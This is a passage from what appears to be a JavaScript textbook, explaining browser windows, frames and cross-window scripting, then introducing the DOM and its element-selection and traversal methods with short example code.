But windows are not always isolated from one another. A script in one window or tab can open new windows or tabs, and when a script does this, the windows can interact with one another and with one another's documents (subject to the constraints of the same-origin policy of §13.6.2). §14.8.1 has more about opening and closing windows.

HTML documents may contain nested documents using an `<iframe>` element. An `<iframe>` creates a nested browsing context represented by a Window object of its own. The deprecated `<frameset>` and `<frame>` elements also create nested browsing contexts, and each `<frame>` is represented by a Window. Client-side JavaScript makes very little distinction between windows, tabs, iframes, and frames: they are all browsing contexts, and to JavaScript, they are all Window objects. Nested browsing contexts are not isolated from one another the way independent tabs usually are. A script running in one frame can always see its ancestor and descendant frames, though the same-origin policy may prevent the script from inspecting the documents in those frames. Nested frames are the topic of §14.8.2.

Since the Window is the global object of client-side JavaScript, each window or frame has a separate JavaScript execution context. Nevertheless, JavaScript code in one window can, subject to same-origin constraints, use the objects, properties, and methods defined in other windows. This is discussed in more detail in §14.8.3. When the same-origin policy prevents the scripts in two distinct windows from interacting directly, HTML5 provides an event-based message passing API for indirect communication. You can read about it in §22.3.

14.8.1 Opening and Closing Windows

You can open a new web browser window (or tab; this is usually a browser configuration option) with the `open()` method of the Window object. `Window.open()` loads a specified URL into a new or existing window and returns the Window object that represents that window. It takes four optional arguments:

The first argument to `open()` is the URL of the document to display in the new window. If this argument is omitted (or is the empty string), the special blank-page URL `about:blank` is used.

The second argument to `open()` is a string that specifies a window name. If a window by that name already exists (and if the script is allowed to navigate that window), that existing window is used. Otherwise a new window is created and is assigned the specified name. If this argument is omitted, the special name "_blank" is used: it opens a new, unnamed window.

Note that scripts cannot simply guess window names and take over the windows in use by other web applications: they can only name existing windows that they are "allowed to navigate" (the term is from the HTML5 specification). Loosely, a script can specify an existing window by name only if that window contains a document from the same origin or if the script opened that window (or recursively opened a window that opened that window). Also, if one window is a frame nested within the other, a script in either one can navigate the other. In this case, the reserved names "_top" (the top-level ancestor window) and "_parent" (the immediate parent window) can be useful.

Window Names

The name of a window is important because it allows the `open()` method to refer to existing windows, and also because it can be used as the value of the HTML `target` attribute on `<a>` and `<form>` elements to indicate that the linked document (or the result of submitting the form) should be displayed in the named window. The `target` attribute on these elements can also be set to "_blank", "_parent", or "_top" to direct the linked document into a new blank window, the parent window or frame, or the top-level window.

The `name` property of a Window object holds its name, if it has one. This property is writable, and scripts can set it as desired. If a name (other than "_blank") is passed to `Window.open()`, the window created by that call will have the specified name as the initial value of its `name` property. If an `<iframe>` element has a `name` attribute, the Window object that represents that frame will use that `name` attribute as the initial value of the `name` property.

The third optional argument to `open()` is a comma-separated list of size and features attributes for the new window to be opened. If you omit this argument, the new window is given a default size and has a full set of UI components: a menu bar, status line, toolbar, and so on. In tabbed browsers, this usually results in the creation of a new tab.

On the other hand, if you specify this argument, you can explicitly specify the size of the window and the set of features it includes. (Explicitly specifying a size is likely to result in the creation of a new window rather than a tab.) For example, to open a small but resizable browser window with a status bar but no menu bar, toolbar, or location bar, you might write:

```
var w = window.open("smallwin.html", "smallwin",
                    "width=400,height=350,status=yes,resizable=yes");
```

This third argument is nonstandard and the HTML5 specification insists that browsers be able to ignore it. See `Window.open()` in the reference section for more details on what you can specify in this argument. Note that when you specify this third argument, any features you do not explicitly specify are omitted. For various security reasons, browsers include restrictions on the features you can specify. You are typically not allowed to specify a window that is too small or is positioned offscreen, for example, and some browsers will not allow you to create a window without a status line.

The fourth argument to `open()` is useful only when the second argument names an existing window. This fourth argument is a boolean value that indicates whether the URL specified as the first argument should replace the current entry in the window's browsing history (`true`) or create a new entry in the window's browsing history (`false`). Omitting this argument is the same as passing `false`.

The return value of the `open()` method is the Window object that represents the named or newly created window. You can use this Window object in your JavaScript code to refer to the new window, just as you use the implicit Window object `window` to refer to the window within which your code is running:

```
var w = window.open();                        // Open a new, blank window.
w.alert("About to visit http://example.com");  // Call its alert() method
w.location = "http://example.com";            // Set its location property
```

In windows created with the `window.open()` method, the `opener` property refers back to the Window object of the script that opened it. In other windows, `opener` is `null`:

```
w.opener !== null;      // True for any window w created by open()
w.open().opener === w;  // True for any window w
```

`Window.open()` is the method by which advertisements are made to "pop up" or "pop under" while you browse the Web. Because of this flood of annoying pop ups, most web browsers have now instituted some kind of pop up–blocking system. Typically, calls to the `open()` method are successful only if they occur in response to a user action such as clicking on a button or a link. JavaScript code that tries to open a pop-up window when the browser first loads (or unloads) a page will usually fail. Testing the lines of code shown above by pasting them into the JavaScript console of your browser may also fail for the same reason.

14.8.1.1 Closing windows

Just as the `open()` method opens a new window, the `close()` method closes one. If you create a Window object `w`, you can close it with:

```
w.close();
```

JavaScript code running within that window itself can close it with:

```
window.close();
```

Note the explicit use of the `window` identifier to distinguish the `close()` method of the Window object from the `close()` method of the Document object—this is important if you're calling `close()` from an event handler.

Most browsers allow you to automatically close only those windows that your own JavaScript code has created. If you attempt to close any other window, the request either fails or the user is presented with a dialog box that asks him to allow (or cancel) that request to close the window. The `close()` method of a Window object that represents a frame rather than a top-level window or tab does nothing: it is not possible to close a frame (instead you'd delete the `<iframe>` from its containing document).

A Window object continues to exist after the window it represents has been closed. A window that has been closed will have a `closed` property of `true`, its `document` will be null, and its methods will typically no longer work.

14.8.2 Relationships Between Frames

As we saw above, the `open()` method of a Window object returns a new Window object that has an `opener` property that refers back to the original window. In this way, the two windows can refer to each other, and each can read properties and invoke methods of the other. A similar thing is possible with frames. Code running in a window or frame can refer to the containing window or frame and to nested child frames using the properties described below.

You already know that the JavaScript code in any window or frame can refer to its own Window object as `window` or as `self`. A frame can refer to the Window object of the window or frame that contains it using the `parent` property:

```
parent.history.back();
```

A Window object that represents a top-level window or tab has no container, and its `parent` property simply refers to the window itself:

```
parent == self;  // For any top-level window
```

If a frame is contained within another frame that is contained within a top-level window, that frame can refer to the top-level window as `parent.parent`. The `top` property is a general-case shortcut, however: no matter how deeply a frame is nested, its `top` property refers to the top-level containing window. If a Window object represents a top-level window, `top` simply refers to that window itself. For frames that are direct children of a top-level window, the `top` property is the same as the `parent` property.

The `parent` and `top` properties allow a script to refer to its frame's ancestors. There is more than one way to refer to the descendant frames of a window or frame. Frames are created with `<iframe>` elements. You can obtain an Element object that represents an `<iframe>` just as you would do for any other element. Suppose your document contains `<iframe id="f1">`. Then, the Element object that represents this iframe is:

```
var iframeElement = document.getElementById("f1");
```

`<iframe>` elements have a `contentWindow` property that refers to the Window object of the frame, so the Window object for this frame is:

```
var childFrame = document.getElementById("f1").contentWindow;
```

You can go in the reverse direction—from the Window that represents a frame to the `<iframe>` Element that contains the frame—with the `frameElement` property of the Window. Window objects that represent top-level windows rather than frames have a `null frameElement` property:

```
var elt = document.getElementById("f1");
var win = elt.contentWindow;
win.frameElement === elt     // Always true for frames
window.frameElement === null // For toplevel windows
```

It is not usually necessary to use the `getElementById()` method and the `contentWindow` property to obtain references to the child frames of a window, however. Every Window object has a `frames` property that refers to the child frames contained within the window or frame. The `frames` property refers to an array-like object that can be indexed numerically or by frame name. To refer to the first child frame of a window, you can use `frames[0]`. To refer to the third child frame of the second child, you can use `frames[1].frames[2]`. Code running in a frame might refer to a sibling frame as `parent.frames[1]`. Note that the elements of the `frames[]` array are Window objects, not `<iframe>` elements.

If you specify the `name` or `id` attribute of an `<iframe>` element, that frame can be indexed by name as well as by number. A frame named "f1" would be `frames["f1"]` or `frames.f1`, for example.

Recall from §14.7 that the names or IDs of `<iframe>` and other elements are automatically used as properties of the Window object, and that `<iframe>` elements are treated differently than other elements: for frames, the value of these automatically created properties refer to a Window object rather than an Element object. What this means is that we can refer to a frame named "f1" as `f1` instead of as `frames.f1`. In fact, HTML5 specifies that the `frames` property is a self-referential property, just like `window` and `self`, and that it is the Window object itself that acts like an array of frames. This means that we can refer to the first child frame as `window[0]`, and we can query the number of frames with `window.length` or just `length`. It is usually clearer, and still traditional, to use `frames` instead of `window` here, however. Note that current browsers do not all make `frame==window`, but those that do not make them equal do allow child frames to be indexed by number or by name through either object.

You can use the `name` or `id` attribute of an `<iframe>` element to give the frame a name that can be used in JavaScript code. If you use the `name` attribute, however, the name you specify also becomes the value of the `name` property of the Window that represents the frame. A name specified in this way can be used as the `target` attribute of a link, and it can be used as the second argument to `window.open()`.

14.8.3 JavaScript in Interacting Windows

Each window or frame is its own JavaScript execution context with a Window as its global object. But if code in one window or frame can refer to another window or frame (and if the same-origin policy does not prevent it), the scripts in one window or frame can interact with the scripts in the other.

Imagine a web page with two `<iframe>` elements named "A" and "B", and suppose that those frames contain documents from the same server and that those documents contain interacting scripts. The script in frame A might define a variable `i`:

```
var i = 3;
```

That variable is nothing more than a property of the global object—a property of the Window object. Code in frame A can refer to the variable with the identifier `i`, or it can explicitly reference it through the window object:

```
window.i
```

Since the script in frame B can refer to the Window object for frame A, it can also refer to the properties of that window object:

```
parent.A.i = 4;    // Change the value of a variable in frame A
```

Recall that the `function` keyword that defines functions creates a variable just like the `var` keyword does. If a script in frame B declares a (non-nested) function `f`, that function is a global variable in frame B, and code in frame B can invoke `f` as `f()`. Code in frame A, however, must refer to `f` as a property of the Window object of frame B:

```
parent.B.f();      // Invoke a function defined in frame B
```

If the code in frame A needs to use this function frequently, it might assign the function to a variable of frame A so that it can more conveniently refer to the function:

```
var f = parent.B.f;
```

Now code in frame A can invoke the function as `f()`, just as code in frame B does.

When you share functions between frames or windows like this, it is important to keep the rules of lexical scoping in mind. A function is executed in the scope in which it was defined, not in the scope from which it is invoked. Thus, if the function `f` above refers to global variables, these variables are looked up as properties of frame B, even when the function is invoked from frame A.

Remember that constructors are also functions, so when you define a class (see Chapter 9) with a constructor function and an associated prototype object, that class is

defined only within a single window. Suppose that the window that contains frames A and B includes the Set class from Example 9-6.

Scripts within that top-level window can create new Set objects like this:

```
var s = new Set();
```

But scripts in either of the frames must explicitly refer to the `Set()` constructor as a property of the parent window:

```
var s = new parent.Set();
```

Alternatively, code in either frame can define its own variable to refer more conveniently to the constructor function:

```
var Set = top.Set();
var s = new Set();
```

Unlike user-defined classes, the built-in classes like String, Date, and RegExp are automatically predefined in all windows. This means, however, that each window has an independent copy of the constructor and an independent copy of the prototype object. For example, each window has its own copy of the `String()` constructor and the `String.prototype` object. So if you write a new method for manipulating JavaScript strings and then make it a method of the String class by assigning it to the `String.prototype` object in the current window, all strings created by code in that window can use the new method. However, the new method is not accessible to strings created in other windows.

The fact that each Window has its own prototype objects means that the `instanceof` operator does not work across windows. `instanceof` will evaluate to `false`, for example, when used to compare a string from frame B to the `String()` constructor from frame A. §7.10 describes the related difficulty of determining the type of arrays across windows.

The WindowProxy Object

We've noted repeatedly that the Window object is the global object of client-side JavaScript. Technically, however, this is not true. Each time a web browser loads new content into a window or a frame, it must start with a fresh JavaScript execution context, including a newly created global object. But when multiple windows or frames are in use, it is critical that the Window object that refers to a frame or window continue to be a valid reference even if that frame or window loads a new document.

So client-side JavaScript has two important objects. The client-side global object is the top of the scope chain and is where global variables and functions are defined. This global object is, in fact, replaced whenever the window or frame loads new content. The object we have been calling the Window object is not actually the global object, but a proxy for it. Whenever you query or set a property of the Window object, that object queries or sets the same property on the *current* global object of the window or frame. The HTML5 specification calls this proxy object WindowProxy, but we will continue to use the term *Window object* in this book.

Because of its proxying behavior, the proxy object behaves just like the true global object, except that it has a longer lifetime. If you could compare the two objects, it would be difficult to distinguish them. In fact, however, there is no way to refer to the true client-side global object. The global object is at the top of the scope chain, but the `window`, `self`, `top`, `parent`, and `frames` properties all return proxy objects. The `window.open()` method returns a proxy object. Even the value of the `this` keyword within a top-level function is a proxy object rather than the true global object.[1]

1. This last point is a minor violation of the ES3 and ES5 specifications, but it is necessary to support the multiple execution contexts of client-side JavaScript.

CHAPTER 15

Scripting Documents

Client-side JavaScript exists to turn static HTML documents into interactive web applications. Scripting the content of web pages is the central purpose of JavaScript. This chapter—one of the most important in the book—explains how to do this.

Chapters 13 and 14 explained that every web browser window, tab, and frame is represented by a Window object. Every Window object has a `document` property that refers to a Document object. The Document object represents the content of the window, and it is the subject of this chapter. The Document object does not stand alone, however. It is the central object in a larger API, known as the *Document Object Model*, or DOM, for representing and manipulating document content.

This chapter begins by explaining the basic architecture of the DOM. It then moves on to explain:

- How to query or *select* individual elements from a document.
- How to *traverse* a document as a tree of nodes, and how to find the ancestors, siblings, and descendants of any document element.
- How to query and set the attributes of document elements.
- How to query, set, and modify the content of a document.
- How to modify the structure of a document by creating, inserting, and deleting nodes.
- How to work with HTML forms.

The final section of the chapter covers miscellaneous document features, including the `referrer` property, the `write()` method, and techniques for querying the currently selected document text.

15.1 Overview of the DOM

The Document Object Model, or DOM, is the fundamental API for representing and manipulating the content of HTML and XML documents. The API is not particularly

complicated, but there are a number of architectural details you need to understand. First, you should understand that the nested elements of an HTML or XML document are represented in the DOM as a tree of objects. The tree representation of an HTML document contains nodes representing HTML tags or elements, such as `<body>` and `<p>`, and nodes representing strings of text. An HTML document may also contain nodes representing HTML comments. Consider the following simple HTML document:

```
<html>
  <head>
    <title>Sample Document</title>
  </head>
  <body>
    <h1>An HTML Document</h1>
    <p>This is a <i>simple</i> document.
</html>
```

The DOM representation of this document is the tree pictured in Figure 15-1.

Figure 15-1. The tree representation of an HTML document

If you are not already familiar with tree structures in computer programming, it is helpful to know that they borrow terminology from family trees. The node directly above a node is the *parent* of that node. The nodes one level directly below another node are the *children* of that node. Nodes at the same level, and with the same parent, are *siblings*. The set of nodes any number of levels below another node are the *descendants* of that node. And the parent, grandparent, and all other nodes above a node are the *ancestors* of that node.

Each box in Figure 15-1 is a node of the document and is represented by a Node object. We'll talk about the properties and methods of Node in some of the sections that follow,

and you can look up those properties and methods under `Node` in Part IV. Note that the figure contains three different types of nodes. At the root of the tree is the Document node that represents the entire document. The nodes that represent HTML elements are Element nodes, and the nodes that represent text are Text nodes. Document, Element, and Text are subclasses of Node and have their own entries in the reference section. Document and Element are the two most important DOM classes, and much of this chapter is devoted to their properties and methods.

Node and its subtypes form the type hierarchy illustrated in Figure 15-2. Notice that there is a formal distinction between the generic Document and Element types, and the HTMLDocument and HTMLElement types. The Document type represents either an HTML or an XML document, and the Element class represents an element of such a document. The HTMLDocument and HTMLElement subclasses are specific to HTML documents and elements. In this book, we often use the generic class names Document and Element, even when referring to HTML documents. This is true in the reference section as well: the properties and methods of the HTMLDocument and the HTMLElement types are documented in the Document and Element reference pages.

Figure 15-2. A partial class hierarchy of document nodes

It is also worth noting in Figure 15-2 that there are many subtypes of HTMLElement that represent specific types of HTML elements. Each defines JavaScript properties to mirror the HTML attributes of a specific element or group of elements (see §15.4.1). Some of these element-specific classes define additional properties or methods that go beyond simple mirroring of HTML syntax. These classes and their additional features are covered in the reference section.

Finally, note that Figure 15-2 shows some node types that haven't been mentioned so far. Comment nodes represent HTML or XML comments. Because comments are basically strings of text, these nodes are much like the Text nodes that represent the

displayed text of a document. CharacterData, the common ancestor of both Text and Comment, defines methods shared by both nodes. The Attr node type represents an XML or HTML attribute, but it is almost never used because the Element class defines methods for treating attributes as name/value pairs rather than document nodes. The DocumentFragment class (not pictured) is a kind of Node that never exists in an actual document: it represents a sequence of Nodes that do not have a common parent. DocumentFragments are useful for some document manipulations and are covered in §15.6.4. The DOM also defines infrequently used types to represent things like doctype declarations and XML processing instructions.

15.2 Selecting Document Elements

Most client-side JavaScript programs work by somehow manipulating one or more document elements. When these programs start, they can use the global variable `document` to refer to the Document object. In order to manipulate elements of the document, however, they must somehow obtain or *select* the Element objects that refer to those document elements. The DOM defines a number of ways to select elements; you can query a document for an element or elements:

- with a specified `id` attribute;
- with a specified `name` attribute;
- with the specified tag name;
- with the specified CSS class or classes; or
- matching the specified CSS selector

The subsections that follow explain each of these element selection techniques.

15.2.1 Selecting Elements By ID

Any HTML element can have an `id` attribute. The value of this attribute must be unique within the document—no two elements in the same document can have the same ID. You can select an element based on this unique ID with the `getElementById()` method of the Document object. We've already used this method in both Chapter 13 and Chapter 14:

```
var section1 = document.getElementById("section1");
```

This is the simplest and most commonly used way to select elements. If your script is going to manipulate a certain specific set of document elements, give those elements `id` attributes, and look up the Element objects using that ID. If you need to look up more than one element by ID, you might find the `getElements()` function of Example 15-1 useful.

Example 15-1. Looking up multiple elements by ID

```
/**
 * This function expects any number of string arguments. It treats each
 * argument as an element id and calls document.getElementById() for each.
 * Returns an object that maps ids to the corresponding Element object.
 * Throws an Error object if any of the ids is undefined.
 */
function getElements(/*ids...*/) {
    var elements = {};                          // Start with an empty map
    for(var i = 0; i < arguments.length; i++) {  // For each argument
        var id = arguments[i];                  // Argument is an element id
        var elt = document.getElementById(id);  // Look up the Element
        if (elt == null)                        // If not defined,
            throw new Error("No element with id: " + id); // throw an error
        elements[id] = elt;                     // Map id to element
    }
    return elements;                            // Return id to element map
}
```

In versions of Internet Explorer prior to IE8, `getElementById()` does a case-insensitive match on element IDs and also returns elements that have a matching `name` attribute.

15.2.2 Selecting Elements by Name

The HTML `name` attribute was originally intended to assign names to form elements, and the value of this attribute is used when form data is submitted to a server. Like the `id` attribute, `name` assigns a name to an element. Unlike `id`, however, the value of a `name` attribute does not have to be unique: multiple elements may have the same name, and this is common in the case of radio buttons and checkboxes in forms. Also, unlike `id`, the `name` attribute is only valid on a handful of HTML elements, including forms, form elements, `<iframe>`, and `<img>` elements.

To select HTML elements based on the value of their `name` attributes, you can use the `getElementsByName()` method of the Document object:

```
var radiobuttons = document.getElementsByName("favorite_color");
```

`getElementsByName()` is defined by the HTMLDocument class, not the Document class, and so it is only available for HTML documents, not XML documents. It returns a NodeList object that behaves like a read-only array of Element objects. In IE, `getElementsByName()` will also return elements that have an `id` attribute with the specified value. For compatibility, you should be careful not to use the same string as both a name and an ID.

We saw in §14.7 that setting the `name` attribute of certain HTML elements automatically created properties with those names on the Window object. A similar thing is true for the Document object. Setting the `name` attribute of a `<form>`, `<img>`, `<iframe>`, `<applet>`, `<embed>`, or `<object>` element (but only `<object>` elements that do not have fallback objects within them) creates a property of the Document object whose name is the

value of the attribute (assuming, of course, that the document does not already have a property with that name).

If there is only a single element with a given name, the value of the automatically created document property is the element itself. If there is more than one element, then the value of the property is a NodeList object that acts as an array of elements. As we saw in §14.7, the document properties created for named `<iframe>` elements are special: instead of referring to the Element object, they refer to the frame's Window object.

What this means is that some elements can be selected by name simply by using the name as a Document property:

```
// Get the Element object for the <form name="shipping_address"> element
var form = document.shipping_address;
```

The reasons given in §14.7 for not using the automatically created window properties apply equally to these automatically created document properties. If you need to look up named elements, it is better to look them up explicitly with a call to `getElementsByName()`.

15.2.3 Selecting Elements by Type

You can select all HTML or XML elements of a specified type (or tag name) using the `getElementsByTagName()` method of the Document object. To obtain a read-only array-like object containing the Element objects for all `<span>` elements in a document, for example, you might write:

```
var spans = document.getElementsByTagName("span");
```

Like `getElementsByName()`, `getElementsByTagName()` returns a NodeList object. (See the sidebar in this section for more on the NodeList class.) The elements of the returned NodeList are in document order, so you can select the first `<p>` element of a document like this:

```
var firstpara = document.getElementsByTagName("p")[0];
```

HTML tags are case-insensitive, and when `getElementsByTagName()` is used on an HTML document, it performs a case-insensitive tag name comparison. The `spans` variable above, for example, will include any `<span>` elements that were written as `<SPAN>`.

You can obtain a NodeList that represents all elements in a document by passing the wildcard argument "`*`" to `getElementsByTagName()`.

The Element class also defines a `getElementsByTagName()` method. It works in the same way as the Document version, but it only selects elements that are descendants of the element on which it is invoked. So to find all `<span>` elements inside the first `<p>` element of a document, you could write:

```
var firstpara = document.getElementsByTagName("p")[0];
var firstParaSpans = firstpara.getElementsByTagName("span");
```

For historical reasons, the HTMLDocument class defines shortcut properties to access certain kinds of nodes. The `images`, `forms`, and `links` properties, for example, refer to objects that behave like read-only arrays of `<img>`, `<form>`, and `<a>` elements (but only `<a>` tags that have an `href` attribute). These properties refer to HTMLCollection objects, which are much like NodeList objects, but they can additionally be indexed by element ID or name. Earlier, we saw how you could refer to a named `<form>` element with an expression like this:

```
document.shipping_address
```

With the `document.forms` property, you can also refer more specifically to the named (or ID'ed) form like this:

```
document.forms.shipping_address;
```

The HTMLDocument object also defines synonymous `embeds` and `plugins` properties that are HTMLCollections of `<embed>` elements. The `anchors` property is nonstandard but refers to `<a>` elements that have a `name` attribute rather than an `href` attribute. The `<scripts>` property is standardized by HTML5 to be an HTMLCollection of `<script>` elements, but it is not, at the time of this writing, universally implemented.

HTMLDocument also defines two properties that refer to special single elements rather than element collections. `document.body` is the `<body>` element of an HTML document, and `document.head` is the `<head>` element. These properties are always defined: if the document source does not explicitly include `<head>` and `<body>` elements, the browser creates them implicitly. The `documentElement` property of the Document class refers to the root element of the document. In HTML documents, this is always an `<html>` element.

NodeLists and HTMLCollections

`getElementsByName()` and `getElementsByTagName()` return NodeList objects, and properties like `document.images` and `document.forms` are HTMLCollection objects.

These objects are read-only array-like objects (see §7.11). They have `length` properties and can be indexed (for reading but not writing) like true arrays. You can iterate the contents of a NodeList or HTMLCollection with a standard loop like this:

```
for(var i = 0; i < document.images.length; i++)   // Loop through all images
    document.images[i].style.display = "none";    // ...and hide them.
```

You cannot invoke Array methods on NodeLists and HTMLCollections directly, but you can do so indirectly:

```
var content = Array.prototype.map.call(document.getElementsByTagName("p"),
                                       function(e) { return e.innerHTML; });
```

HTMLCollection objects may have additional named properties and can be indexed with strings as well as numbers.

For historical reasons, both NodeList and HTMLCollection objects can also be treated as functions: invoking them with a number or string argument is the same as indexing them with a number or string. Use of this quirk is discouraged.

Both the NodeList and HTMLCollection interfaces were designed with languages less dynamic than JavaScript in mind. Both define an `item()` method. It expects an integer and returns the element at that index. There is never any need to call this method in JavaScript because you can simply use array indexing instead. Similarly, HTMLCollection defines a `namedItem()` method that returns the value of a named property, but JavaScript programs can use array indexing or regular property access instead.

One of the most important and surprising features of NodeList and HTMLCollection is that they are not static snapshots of a historical document state but are generally *live* and the list of elements they contain can vary as the document changes. Suppose you call `getElementsByTagName('div')` on a document with no `<div>` elements. The return value is a NodeList with a `length` of 0. If you then insert a new `<div>` element into the document, that element automatically becomes a member of the NodeList, and the `length` property changes to 1.

Usually, the liveness of NodeLists and HTMLCollections is quite helpful. If you will be adding or removing elements from the document while iterating through a NodeList, however, you may want to make a static copy of the NodeList first:

```
var snapshot = Array.prototype.slice.call(nodelist, 0);
```

15.2.4 Selecting Elements by CSS Class

The `class` attribute of an HTML is a space-separated list of zero or more identifiers. It describes a way to define sets of related document elements: any elements that have the same identifier in their `class` attribute are part of the same set. `class` is a reserved word in JavaScript, so client-side JavaScript uses the `className` property to hold the value of the HTML `class` attribute. The `class` attribute is usually used in conjunction with a CSS stylesheet to apply the same presentation styles to all members of a set, and we'll see it again in Chapter 16. In addition, however, HTML5 defines a method, `getElementsByClassName()`, that allows us to select sets of document elements based on the identifiers in their `class` attribute.

Like `getElementsByTagName()`, `getElementsByClassName()` can be invoked on both HTML documents and HTML elements, and it returns a live NodeList containing all matching descendants of the document or element. `getElementsByClassName()` takes a single string argument, but the string may specify multiple space-separated identifiers. Only elements that include all of the specified identifiers in their `class` attribute are matched. The order of the identifiers does not matter. Note that both the `class` attribute and the `getElementsByClassName()` methods separate class identifiers with spaces, not with commas. Here are some examples of `getElementsByClassName()`:

```
// Find all elements that have "warning" in their class attribute
var warnings = document.getElementsByClassName("warning");
```

```
// Find all descendants of the element named "log" that have the class
// "error" and the class "fatal"
var log = document.getElementById("log");
var fatal = log.getElementsByClassName("fatal error");
```

Today's web browsers display HTML documents in "quirks mode" or "standards mode" depending on how strict the `<!DOCTYPE>` declaration at the start of the document is. Quirks mode exists for backward compatibility, and one of its quirks is that class identifiers in the `class` attribute and in CSS stylesheets are case-insensitive. `getElementsByClassName()` follows the matching algorithm used by stylesheets. If the document is rendered in quirks mode, the method performs a case-insensitive string comparison. Otherwise, the comparison is case sensitive.

At the time of this writing, `getElementsByClassName()` is implemented by all current browsers except IE8 and earlier. IE8 does support `querySelectorAll()`, described in the next section, and `getElementsByClassName()` can be implemented on top of that method.

15.2.5 Selecting Elements with CSS Selectors

CSS stylesheets have a very powerful syntax, known as *selectors*, for describing elements or sets of elements within a document. Full details of CSS selector syntax are beyond the scope of this book,[1] but some examples will demonstrate the basics. Elements can be described by ID, tag name, or class:

```
#nav                    // An element with id="nav"
div                     // Any <div> element
.warning                // Any element with "warning" in its class attribute
```

More generally, elements can be selected based on attribute values:

```
p[lang="fr"]            // A paragraph written in French: <p lang="fr">
*[name="x"]             // Any element with a name="x" attribute
```

These basic selectors can be combined:

```
span.fatal.error        // Any <span> with "warning" and "fatal" in its class
span[lang="fr"].warning // Any warning in French
```

Selectors can also specify document structure:

```
#log span               // Any <span> descendant of the element with id="log"
#log>span               // Any <span> child of the element with id="log"
body>h1:first-child     // The first <h1> child of the <body>
```

Selectors can be combined to select multiple elements or multiple sets of elements:

```
div, #log               // All <div> elements plus the element with id="log"
```

As you can see, CSS selectors allow elements to be selected in all of the ways described above: by ID, by name, by tag name, and by class name. Along with the standardization of CSS3 selectors, another W3C standard, known as "Selectors API" defines JavaScript

1. CSS3 selectors are specified by *http://www.w3.org/TR/css3-selectors/*.

methods for obtaining the elements that match a given selector.[2] The key to this API is the Document method `querySelectorAll()`. It takes a single string argument containing a CSS selector and returns a NodeList that represents all elements in the document that match the selector. Unlike previously described element selection methods, the NodeList returned by `querySelectorAll()` is not live: it holds the elements that match the selector at the time the method was invoked, but it does not update as the document changes. If no elements match, `querySelectorAll()` returns an empty NodeList. If the selector string is invalid, `querySelectorAll()` throws an exception.

In addition to `querySelectorAll()`, the document object also defines `querySelector()`, which is like `querySelectorAll()`, but returns only the first (in document order) matching element or `null` if there is no matching element.

These two methods are also defined on Elements (and also on DocumentFragment nodes; see §15.6.4). When invoked on an element, the specified selector is matched against the entire document, and then the result set is filtered so that it only includes descendants of the specified element. This may seem counterintuitive, as it means that the selector string can include ancestors of the element against which it is matched.

Note that CSS defines `:first-line` and `:first-letter` pseudoelements. In CSS, these match portions of text nodes rather than actual elements. They will not match if used with `querySelectorAll()` or `querySelector()`. Also, many browsers will refuse to return matches for the `:link` and `:visited` pseudoclasses, as this could expose information about the user's browsing history.

All current browsers support `querySelector()` and `querySelectorAll()`. Note, however, that the specification of these methods does not require support for CSS3 selectors: browsers are encouraged to support the same set of selectors that they support in stylesheets. Current browsers other than IE support CSS3 selectors. IE7 and 8 support CSS2 selectors. (IE9 is expected to have CSS3 support.)

`querySelectorAll()` is the ultimate element selection method: it is a very powerful technique by which client-side JavaScript programs can select the document elements that they are going to manipulate. Fortunately, this use of CSS selectors is available even in browsers without native support for `querySelectorAll()`. The jQuery library (see Chapter 19) uses this kind of CSS selector-based query as its central programming paradigm. Web applications based on jQuery use a portable, cross-browser equivalent to `querySelectorAll()` named `$()`.

jQuery's CSS selector matching code has been factored out and released as a stand-alone library named Sizzle, which has been adopted by Dojo and other client-side libraries.[3] The advantage to using a library like Sizzle (or a library that uses Sizzle) is that

2. The Selectors API standard is not part of HTML5 but is closely affiliated with it. See *http://www.w3.org/TR/selectors-api/*.

3. A stand-alone version of Sizzle is available at *http://sizzlejs.com*.

selections work even on older browsers, and there is a baseline set of selectors that are guaranteed to work on all browsers.

15.2.6 document.all[]

Before the DOM was standardized, IE4 introduced the `document.all[]` collection that represented all elements (but not Text nodes) in the document. `document.all[]` has been replaced by standard methods like `getElementById()` and `getElementsByTagName()` and is now obsolete and should not be used. When introduced, however, it was revolutionary, and you may still see existing code that uses it in any of these ways:

```
document.all[0]           // The first element in the document
document.all["navbar"]    // Element (or elements) with id or name "navbar"
document.all.navbar       // Ditto
document.all.tags("div")  // All <div> elements in the document
document.all.tags("p")[0] // The first <p> in the document
```

15.3 Document Structure and Traversal

Once you have selected an Element from a Document, you sometimes need to find structurally related portions (parent, siblings, children) of the document. A Document can be conceptualized as a tree of Node objects, as illustrated in Figure 15-1. The Node type defines properties for traversing such a tree, which we'll cover in §15.3.1. Another API allows documents to be traversed as trees of Element objects. §15.3.2 covers this newer (and often easier-to-use) API.

15.3.1 Documents As Trees of Nodes

The Document object, its Element objects, and the Text objects that represent runs of text in the document are all Node objects. Node defines the following important properties:

`parentNode`
: The Node that is the parent of this one, or `null` for nodes like the Document object that have no parent.

`childNodes`
: A read-only array-like object (a NodeList) that is a live representation of a Node's child nodes.

`firstChild`, `lastChild`
: The first and last child nodes of a node, or `null` if the node has no children.

`nextSibling`, `previousSibling`
: The next and previous sibling node of a node. Two nodes with the same parent are siblings. Their order reflects the order in which they appear in the document. These properties connect nodes in a doubly linked list.

`nodeType`
: The kind of node this is. Document nodes have the value 9. Element nodes have the value 1. Text nodes have the value 3. Comments nodes are 8 and DocumentFragment nodes are 11.

`nodeValue`
: The textual content of a Text or Comment node.

`nodeName`
: The tag name of an Element, converted to uppercase.

Using these Node properties, the second child node of the first child of the Document can be referred to with expressions like these:

```
document.childNodes[0].childNodes[1]
document.firstChild.firstChild.nextSibling
```

Suppose the document in question is the following:

```
<html><head><title>Test</title></head><body>Hello World!</body></html>
```

Then the second child of the first child is the `<body>` element. It has a `nodeType` of 1 and a `nodeName` of "BODY".

Note, however, that this API is extremely sensitive to variations in the document text. If the document is modified by inserting a single newline between the `<html>` and the `<head>` tag, for example, the Text node that represents that newline becomes the first child of the first child, and the second child is the `<head>` element instead of the `<body>` body.

15.3.2 Documents As Trees of Elements

When we are primarily interested in the Elements of a document instead of the text within them (and the whitespace between them), it is helpful to use an API that allows us to treat a document as a tree of Element objects, ignoring Text and Comment nodes that are also part of the document.

The first part of this API is the `children` property of Element objects. Like `childNodes`, this is a NodeList. Unlike `childNodes`, however, the `children` list contains only Element objects. The `children` property is nonstandard, but it works in all current browsers. IE has implemented it for a long time, and most other browsers have followed suit. The last major browser to adopt it was Firefox 3.5.

Note that Text and Comment nodes cannot have children, which means that the `Node.parentNode` property described above never returns a Text or Comment node. The `parentNode` of any Element will always be another Element, or, at the root of the tree, a Document or DocumentFragment.

